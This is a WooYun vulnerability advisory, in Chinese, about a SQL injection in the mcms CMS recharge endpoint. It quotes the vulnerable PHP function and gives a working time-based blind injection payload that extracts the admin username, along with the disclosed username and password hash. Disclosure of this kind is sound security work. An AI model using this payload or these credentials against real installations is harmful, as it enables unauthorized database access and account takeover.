当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0108017

漏洞标题:mcms最新版SQL注入一枚

相关厂商:mcms.cc

漏洞作者: 路人甲

提交时间:2015-04-20 19:17

修复时间:2015-07-24 19:19

公开时间:2015-07-24 19:19

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-20: 细节已通知厂商并且等待厂商处理中
2015-04-25: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-06-19: 细节向核心白帽子及相关领域专家公开
2015-06-29: 细节向普通白帽子公开
2015-07-09: 细节向实习白帽子公开
2015-07-24: 细节向公众公开

简要描述:

mcms最新版SQL注入一枚

详细说明:

掌易科技的程序员反应相当快啊,确认漏洞当天就修复以后出新版本了,前面在wooyun提的几个漏洞新版的mcms做了相应的处理,发布了新版v_3.1.3.enterprise,再来研究研究。
注入一枚:/app/public/user.php?m=recharge&ajax=1 POST中有个参数params存在注入。

function m__recharge(){	
global $dbm;
check_level('C0503',AJAX);
$fields = array();
$_POST['params']=isset($_POST['params'])?trim($_POST['params']):'';
$_POST['params']=explode(',',$_POST['params']);
$_POST['point'] = isset($_POST['point'])?intval($_POST['point']):0;
if(count($_POST['params'])==0) die('{"code":"1","msg":"请选择会员","id":"user"}');
if($_POST['point']==0) die('{"code":"2","msg":"请输入积分数","id":"point"}');
foreach($_POST['params'] as $v){
$fields = array('uid'=>$v,'point'=>$_POST['point'],'create_time'=>time(),'point_type'=>4);
$ret = $dbm->single_insert(TB_PRE."point",$fields);
}
die('{"code":"0","msg":"充值成功"}');
}


因为没有经过sqlxss()的处理,因此,这里是存在注入的。
但是这里有个问题是,不能使用逗号,那就这样吧
Payload:GET提交

point=1&params=3' and  (  select  case  when  (  select  login_name from  (  select  *  from  mcms_user)  as  a  where  uid=1)  like  'a%'  then  sleep(1)  else  sleep(0)  end)  or '


因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,不延迟,如下图

错误副本.jpg


若正确,延迟,如下图

成功副本.jpg


按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:mcmsadmin,密码为: f6fdffe48c908deb0f4c3bd36c032e72

漏洞证明:

见 详细说明

修复方案:

sqlxss()

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-07-24 19:19

厂商回复:

漏洞Rank:8 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论